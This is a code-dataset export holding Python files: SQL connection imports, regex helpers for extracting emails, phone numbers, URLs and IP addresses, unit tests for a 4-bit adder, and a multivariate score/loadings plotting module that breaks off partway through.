hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4235cedeabc1374ed22812d3b218440d57966226 | 226 | py | Python | ppextensions/ppsql/__init__.py | qwjlegend/PPExtensions | 332b41d07c6f7ea1aa0660d50f889a51fcacd935 | [
"BSD-3-Clause"
] | 49 | 2018-08-24T10:13:51.000Z | 2022-01-19T09:30:56.000Z | ppextensions/ppsql/__init__.py | qwjlegend/PPExtensions | 332b41d07c6f7ea1aa0660d50f889a51fcacd935 | [
"BSD-3-Clause"
] | 43 | 2018-08-24T03:54:18.000Z | 2019-11-22T13:46:41.000Z | ppextensions/ppsql/__init__.py | qwjlegend/PPExtensions | 332b41d07c6f7ea1aa0660d50f889a51fcacd935 | [
"BSD-3-Clause"
] | 28 | 2018-08-24T03:31:38.000Z | 2021-10-21T22:04:15.000Z | from .connection.csvconnection import CSVConnection
from .connection.hiveconnection import HiveConnection
from .connection.prestoconnection import PrestoConnection
from .connection.teradataconnection import TeradataConnection
| 45.2 | 61 | 0.893805 | 20 | 226 | 10.1 | 0.35 | 0.277228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070796 | 226 | 4 | 62 | 56.5 | 0.961905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
428e6bf779f2734f9d1e4143a0bec5656445c76e | 1,367 | py | Python | Littlebrother/core/RegexTool.py | Manishtanwar123/manishtanwar123 | ecd42aa663c06cbc3ec4addf5963e27c0eacca3c | [
"BSD-3-Clause"
] | 36 | 2020-08-16T05:31:48.000Z | 2022-03-20T00:22:59.000Z | core/RegexTool.py | h3ckerwasi/Hackerwasi | 09bc3416134bc590897f8fb9cec721b335cc9691 | [
"MIT"
] | 9 | 2020-10-04T20:29:36.000Z | 2021-07-13T18:27:19.000Z | core/RegexTool.py | h3ckerwasi/Hackerwasi | 09bc3416134bc590897f8fb9cec721b335cc9691 | [
"MIT"
] | 14 | 2020-08-24T10:55:19.000Z | 2022-03-08T18:05:55.000Z | import re
class RegexTool:
def __init__(self, data):
self.data = data
def Email(self):
email = re.findall(r'[a-zA-Z0-9+_\-\.]+@[0-9a-zA-Z][.-0-9a-zA-Z]*.[a-zA-Z]+', data)
self.email = email
def TelephoneFr(self):
telephone = re.findall(r"(0|\\+33|0033)[1-9][0-9]{8}", data)
self.telephone = telephone
def Url(self):
urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', data)
self.urls = urls
def AddressIpv4(self):
ipv4 = re.findall(r"^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$", data)
self.ipv4 = ipv4
def AddressIpv6(self):
ipv6 = re.findall(r"^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$", data)
self.ipv6 = ipv6
| 48.821429 | 691 | 0.475494 | 346 | 1,367 | 1.861272 | 0.127168 | 0.107143 | 0.15528 | 0.186335 | 0.431677 | 0.419255 | 0.39441 | 0.391304 | 0.371118 | 0.371118 | 0 | 0.192006 | 0.066569 | 1,367 | 27 | 692 | 50.62963 | 0.312696 | 0 | 0 | 0 | 0 | 0.210526 | 0.668375 | 0.668375 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0 | 0.052632 | 0 | 0.421053 | 0 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c4494d5610c65a43b05ca5aea7ae6a330927af94 | 8,711 | py | Python | tests/arithmetic/test_Adder4.py | jamesjiang52/Bitwise | c71f151d23034b3f9e2a939f637be0eaa16c45c3 | [
"MIT"
] | null | null | null | tests/arithmetic/test_Adder4.py | jamesjiang52/Bitwise | c71f151d23034b3f9e2a939f637be0eaa16c45c3 | [
"MIT"
] | null | null | null | tests/arithmetic/test_Adder4.py | jamesjiang52/Bitwise | c71f151d23034b3f9e2a939f637be0eaa16c45c3 | [
"MIT"
] | null | null | null | import bitwise as bw
class TestAdder4:
def test_Adder4(self):
carry_in = bw.wire.Wire()
input_1 = bw.wire.Wire()
input_2 = bw.wire.Wire()
input_3 = bw.wire.Wire()
input_4 = bw.wire.Wire()
input_5 = bw.wire.Wire()
input_6 = bw.wire.Wire()
input_7 = bw.wire.Wire()
input_8 = bw.wire.Wire()
carry_out = bw.wire.Wire()
output_1 = bw.wire.Wire()
output_2 = bw.wire.Wire()
output_3 = bw.wire.Wire()
output_4 = bw.wire.Wire()
input_bus_1 = bw.wire.Bus4(input_1, input_2, input_3, input_4)
input_bus_2 = bw.wire.Bus4(input_5, input_6, input_7, input_8)
output_bus = bw.wire.Bus4(output_1, output_2, output_3, output_4)
a = bw.arithmetic.Adder4(
carry_in,
input_bus_1,
input_bus_2,
carry_out,
output_bus
)
carry_in.value = 0
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 0)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (0, 1, 1, 1, 1)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 1
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 1
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 1)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 1
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 1, 1)
carry_in.value = 0
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (0, 1, 1, 1, 1)
carry_in.value = 0
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 1
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0)
carry_in.value = 0
input_1.value = 0
input_2.value = 0
input_3.value = 1
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1)
carry_in.value = 0
input_1.value = 0
input_2.value = 1
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 1)
carry_in.value = 0
input_1.value = 1
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 1, 1)
carry_in.value = 0
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 1, 1, 1, 0)
carry_in.value = 1
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 1)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 0
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 0
input_7.value = 1
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 0)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 0
input_6.value = 1
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 0, 0)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 1
input_6.value = 0
input_7.value = 0
input_8.value = 0
assert (carry_out.value, *output_bus.wire_values) == (1, 1, 0, 0, 0)
carry_in.value = 1
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0)
carry_in.value = 1
input_1.value = 0
input_2.value = 0
input_3.value = 0
input_4.value = 1
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1)
carry_in.value = 1
input_1.value = 0
input_2.value = 0
input_3.value = 1
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 0)
carry_in.value = 1
input_1.value = 0
input_2.value = 1
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 0, 0)
carry_in.value = 1
input_1.value = 1
input_2.value = 0
input_3.value = 0
input_4.value = 0
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 1, 0, 0, 0)
carry_in.value = 1
input_1.value = 1
input_2.value = 1
input_3.value = 1
input_4.value = 1
input_5.value = 1
input_6.value = 1
input_7.value = 1
input_8.value = 1
assert (carry_out.value, *output_bus.wire_values) == (1, 1, 1, 1, 1)
print(a.__doc__)
print(a)
a(
carry_in=0,
a_bus=(0, 0, 0, 0),
b_bus=(0, 0, 0, 0),
carry_out=None,
sum_bus=None
)
assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 0)
| 28.374593 | 76 | 0.524165 | 1,353 | 8,711 | 3.124169 | 0.027347 | 0.176011 | 0.286255 | 0.112373 | 0.885025 | 0.87296 | 0.87296 | 0.87296 | 0.87296 | 0.87296 | 0 | 0.10509 | 0.370796 | 8,711 | 306 | 77 | 28.46732 | 0.666119 | 0 | 0 | 0.859206 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090253 | 1 | 0.00361 | false | 0 | 0.00361 | 0 | 0.01083 | 0.00722 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c44a0166fb43ac03ef5ed66ecd25b82f7f52ad35 | 26,207 | py | Python | process_improve/multivariate/plots.py | kgdunn/process_improve | 8542bdf824b37d5b25f542102cb3a0ee7c96503a | [
"MIT"
] | 1 | 2020-01-26T06:15:03.000Z | 2020-01-26T06:15:03.000Z | process_improve/multivariate/plots.py | kgdunn/process_improve | 8542bdf824b37d5b25f542102cb3a0ee7c96503a | [
"MIT"
] | 21 | 2019-09-08T15:20:01.000Z | 2020-01-15T14:03:42.000Z | process_improve/multivariate/plots.py | kgdunn/process_improve | 8542bdf824b37d5b25f542102cb3a0ee7c96503a | [
"MIT"
] | null | null | null | # (c) Kevin Dunn, 2010-2022. MIT License. Based on own private work over the years.
# Built-in libraries
import json
from typing import Dict
import plotly.graph_objects as go
from pydantic import BaseModel, validator
def plot_pre_checks(model, pc_horiz, pc_vert, pc_depth) -> bool:
assert (
0 < pc_horiz <= model.A
), f"The model has {model.A} components. Ensure that 1 <= pc_horiz<={model.A}."
assert (
0 < pc_vert <= model.A
), f"The model has {model.A} components. Ensure that 1 <= pc_vert<={model.A}."
assert (
-1 <= pc_depth <= model.A
), f"The model has {model.A} components. Ensure that 1 <= pc_depth<={model.A}."
assert (
len(set([pc_horiz, pc_vert, pc_depth])) == 3
), "Specify distinct components for each axis"
return True
def score_plot(
model,
pc_horiz: int = 1,
pc_vert: int = 2,
pc_depth: int = -1,
items_to_highlight: Dict[str, list] = None,
settings: Dict = None,
fig=None,
) -> go.Figure:
"""Generates a 2-dimensional score plot for the given latent variable model.
Parameters
----------
model : MVmodel object (PCA, or PLS)
A latent variable model generated by this library.
pc_horiz : int, optional
Which component to plot on the horizontal axis, by default 1 (the first component)
pc_vert : int, optional
Which component to plot on the vertical axis, by default 2 (the second component)
pc_depth : int, optional
If pc_depth >= 1, then a 3D score plot is generated, with this component on the 3rd axis
items_to_highlight : dict, optional
keys: an string which can be json.loads(...) and turns into a Plotly line specifier.
values: a list of identifiers for the items to highlight [index names]
For example:
items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red}
will ensure the subset of the index listed in `items_in_red` in that colour and shape.
settings : dict
Default settings are = {
"show_ellipse": True [bool],
Should the Hotelling's T2 ellipse be added
"ellipse_conf_level": 0.95 [float]
If the ellipse is added, which confidence level is used. A number < 1.00.
"title": f"Score plot of ... "
Overall plot title
"show_labels": False,
Adds a label for each observation. Labels are always available in the hover.
"show_legend": True,
Shows a clickable legend (allows to turn the ellipse(s) on/off)
"html_image_height": 500,
in pixels
"html_aspect_ratio_w_over_h": 16/9,
sets the image width, as a ratio of the height
}
"""
plot_pre_checks(model, pc_horiz, pc_vert, pc_depth)
margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80
class Settings(BaseModel):
show_ellipse: bool = True
ellipse_conf_level: float = 0.95 # TODO: check constraint
title: str = f"Score plot of component {pc_horiz} vs component {pc_vert}" + (
f" vs component {pc_depth}" if pc_depth > 0 else ""
)
show_labels: bool = False # TODO
show_legend: bool = True
html_image_height: float = 500.0
html_aspect_ratio_w_over_h: float = 16 / 9.0
@validator("ellipse_conf_level")
def check_ellipse_conf_level(cls, v):
if v >= 1:
raise ValueError("0.0 < `ellipse_conf_level` < 1.0")
if v <= 0:
raise ValueError("0.0 < `ellipse_conf_level` < 1.0")
return v
if settings:
setdict = Settings(**settings).dict()
else:
setdict = Settings().dict()
if fig is None:
fig = go.Figure()
name = "X-space scores [T]"
fig.update_layout(
xaxis_title_text=f"PC {pc_horiz}", yaxis_title_text=f"PC {pc_vert}"
)
highlights: Dict[str, list] = {}
default_index = model.x_scores.index
if items_to_highlight is not None:
highlights = items_to_highlight.copy()
for key, items in items_to_highlight.items():
highlights[key] = list(set(items) & set(default_index))
default_index = (set(default_index) ^ set(highlights[key])) & set(
default_index
)
# Ensure it is back to a list
default_index = list(default_index)
# 3D plot
if pc_depth >= 1:
fig.add_trace(
go.Scatter3d(
x=model.x_scores.loc[default_index, pc_horiz],
y=model.x_scores.loc[default_index, pc_vert],
z=model.x_scores.loc[default_index, pc_depth],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=dict(
color="darkblue",
symbol="circle",
),
text=list(default_index),
textposition="top center",
)
)
# Items to highlight, if any
for key, index in highlights.items():
styling = json.loads(key)
fig.add_trace(
go.Scatter3d(
x=model.x_scores.loc[index, pc_horiz],
y=model.x_scores.loc[index, pc_vert],
z=model.x_scores.loc[index, pc_depth],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=styling,
text=list(index),
textposition="top center",
)
)
else:
# Regular 2D plot
fig.add_trace(
go.Scatter(
x=model.x_scores.loc[default_index, pc_horiz],
y=model.x_scores.loc[default_index, pc_vert],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=dict(
color="darkblue",
symbol="circle",
size=7,
),
text=default_index,
textposition="top center",
)
)
# Items to highlight, if any
for key, index in highlights.items():
styling = json.loads(key)
fig.add_trace(
go.Scatter(
x=model.x_scores.loc[index, pc_horiz],
y=model.x_scores.loc[index, pc_vert],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=styling,
text=list(index),
textposition="top center",
)
)
if setdict["show_ellipse"]:
ellipse = model.ellipse_coordinates(
score_horiz=pc_horiz,
score_vert=pc_vert,
T2_limit_conf_level=setdict["ellipse_conf_level"],
)
fig.add_hline(y=0, line_color="black")
fig.add_vline(x=0, line_color="black")
fig.add_trace(
go.Scatter(
x=ellipse[0],
y=ellipse[1],
name=f"Hotelling's T^2 [{setdict['ellipse_conf_level']*100:.4g}%]",
mode="lines",
line=dict(
color="red",
width=2,
),
)
)
fig.update_layout(
title_text=setdict["title"],
margin=margin_dict,
hovermode="closest",
showlegend=setdict["show_legend"],
legend=dict(
orientation="h",
traceorder="normal",
font=dict(family="sans-serif", size=12, color="#000"),
bordercolor="#DDDDDD",
borderwidth=1,
),
autosize=False,
xaxis=dict(
gridwidth=1,
mirror=True,
showspikes=True,
visible=True,
),
yaxis=dict(
gridwidth=2,
type="linear",
autorange=True,
showspikes=True,
visible=True,
showline=True,
side="left",
),
width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"],
height=setdict["html_image_height"],
)
if pc_depth >= 1:
fig.update_layout(
scene=dict(
xaxis=fig.to_dict()["layout"]["xaxis"],
yaxis=fig.to_dict()["layout"]["xaxis"],
zaxis=dict(
title_text=f"PC {pc_depth}",
mirror=True,
showspikes=True,
visible=True,
gridwidth=1,
),
),
)
return fig
def loadings_plot(
model, loadings_type="p", pc_horiz=1, pc_vert=2, settings: Dict = None, fig=None
) -> go.Figure:
"""Generates a 2-dimensional loadings for the given latent variable model.
Parameters
----------
model : MVmodel object (PCA, or PLS)
A latent variable model generated by this library.
loadings_type : str, optional
A choice of the following:
'p' : (default for PCA) : the P (projection) loadings: only option possible for PCA
'w' : the W loadings: Suitable for PLS
'w*' : (default for PLS) the W* (or R) loadings: Suitable for PLS
'w*c' : the W* (from X-space) with C loadings from the Y-space: Suitable for PLS
'c' : the C loadings from the Y-space: Suitable for PLS
For PCA model any other choice besides 'p' will be ignored.
pc_horiz : int, optional
Which component to plot on the horizontal axis, by default 1 (the first component)
pc_vert : int, optional
Which component to plot on the vertical axis, by default 2 (the second component)
settings : dict
Default settings are = {
"title": f"Loadings plot of component {pc_horiz} vs component {pc_vert}"
Overall plot title
"show_labels": True,
Adds a label for each column. Labels are always available in the hover.
"html_image_height": 500,
in pixels
"html_aspect_ratio_w_over_h": 16/9,
sets the image width, as a ratio of the height
}
"""
plot_pre_checks(model, pc_horiz, pc_vert, pc_depth=0)
margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80
class Settings(BaseModel):
title: str = (
f"Loadings plot [{loadings_type.upper()}] of component {pc_horiz} vs "
f"component {pc_vert}"
)
show_labels: bool = True
html_image_height: float = 500.0
html_aspect_ratio_w_over_h: float = 16 / 9.0
if settings:
setdict = Settings(**settings).dict()
else:
setdict = Settings().dict()
if fig is None:
fig = go.Figure()
what = model.x_loadings # PCA default
if hasattr(model, "direct_weights"):
what = model.direct_weights # PLS default
extra = None
if loadings_type.lower() == "p":
what = model.x_loadings
if loadings_type.lower() == "w":
what = model.x_weights
elif loadings_type.lower() == "w*":
what = model.direct_weights
elif loadings_type.lower() == "w*c":
loadings_type = loadings_type[0:-1]
what = model.direct_weights
extra = model.y_loadings
elif loadings_type.lower() == "c":
what = model.y_loadings
fig.add_trace(
go.Scatter(
x=what.loc[:, pc_horiz],
y=what.loc[:, pc_vert],
name="X-space loadings W*",
mode="markers+text" if setdict["show_labels"] else "markers",
marker=dict(
color="darkblue",
symbol="circle",
size=7,
),
text=what.index,
textposition="top center",
)
)
add_legend = False
# Note, we have cut off the 'c' from loadings_type
add_legend = False
if loadings_type.lower() == "w*" and extra is not None:
add_legend = True
fig.add_trace(
go.Scatter(
x=extra.loc[:, pc_horiz],
y=extra.loc[:, pc_vert],
name="Y-space loadings C",
mode="markers+text" if setdict["show_labels"] else "markers",
marker=dict(
color="purple",
symbol="star",
size=8,
),
text=extra.index,
textposition="bottom center",
)
)
fig.update_layout(
xaxis_title_text=f"PC {pc_horiz}", yaxis_title_text=f"PC {pc_vert}"
)
fig.add_hline(y=0, line_color="black")
fig.add_vline(x=0, line_color="black")
fig.update_layout(
title_text=setdict["title"],
margin=margin_dict,
hovermode="closest",
showlegend=add_legend,
autosize=False,
xaxis=dict(
gridwidth=1,
mirror=True,
showspikes=True,
visible=True,
),
yaxis=dict(
gridwidth=2,
type="linear",
autorange=True,
showspikes=True,
visible=True,
showline=True,
side="left",
),
width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"],
height=setdict["html_image_height"],
)
return fig
def spe_plot(
model,
with_a=-1,
items_to_highlight: Dict[str, list] = None,
settings: Dict = None,
fig=None,
) -> go.Figure:
"""Generates a squared-prediction error (SPE) plot for the given latent variable model using
`with_a` number of latent variables. The default will use the total number of latent variables
which have already been fitted.
Parameters
----------
model : MVmodel object (PCA, or PLS)
A latent variable model generated by this library.
with_a : int, optional
Uses this many number of latent variables, and therefore shows the SPE after this number of
model components. By default the total number of components fitted will be used.
items_to_highlight : dict, optional
keys: an string which can be json.loads(...) and turns into a Plotly line specifier.
values: a list of identifiers for the items to highlight [index names]
For example:
items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red}
will ensure the subset of the index listed in `items_in_red` in that colour and shape.
settings : dict
Default settings are = {
"show_limit": True [bool],
Should the SPE limit be plotted.
"conf_level": 0.95 [float]
If the limit line is added, which confidence level is used. Number < 1.00.
"title": f"Squared prediction error plot after fitting {with_a} components,
with the {conf_level*100}% confidence limit"
Overall plot title
"default_marker": optional, [dict]
dict(color="darkblue", symbol="circle", size=7)
"show_labels": False,
Adds a label for each observation. Labels are always available in the hover.
"show_legend": False,
Shows a clickable legend (allows to turn the limit on/off)
"html_image_height": 500,
Image height, in pixels.
"html_aspect_ratio_w_over_h": 16/9,
Sets the image width, as a ratio of the height.
}
"""
# TO CONSIDER: allow a setting `as_line`: which connects the points with line segments
margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80
if with_a < 0:
# Get the actual name of the last column in the model if negative indexing is used
with_a = model.squared_prediction_error.columns[with_a]
elif with_a == 0:
assert False, "`with_a` must be >= 1, or specified with negative indexing"
assert with_a <= model.A, "`with_a` must be <= the number of components fitted"
class Settings(BaseModel):
show_limit: bool = True
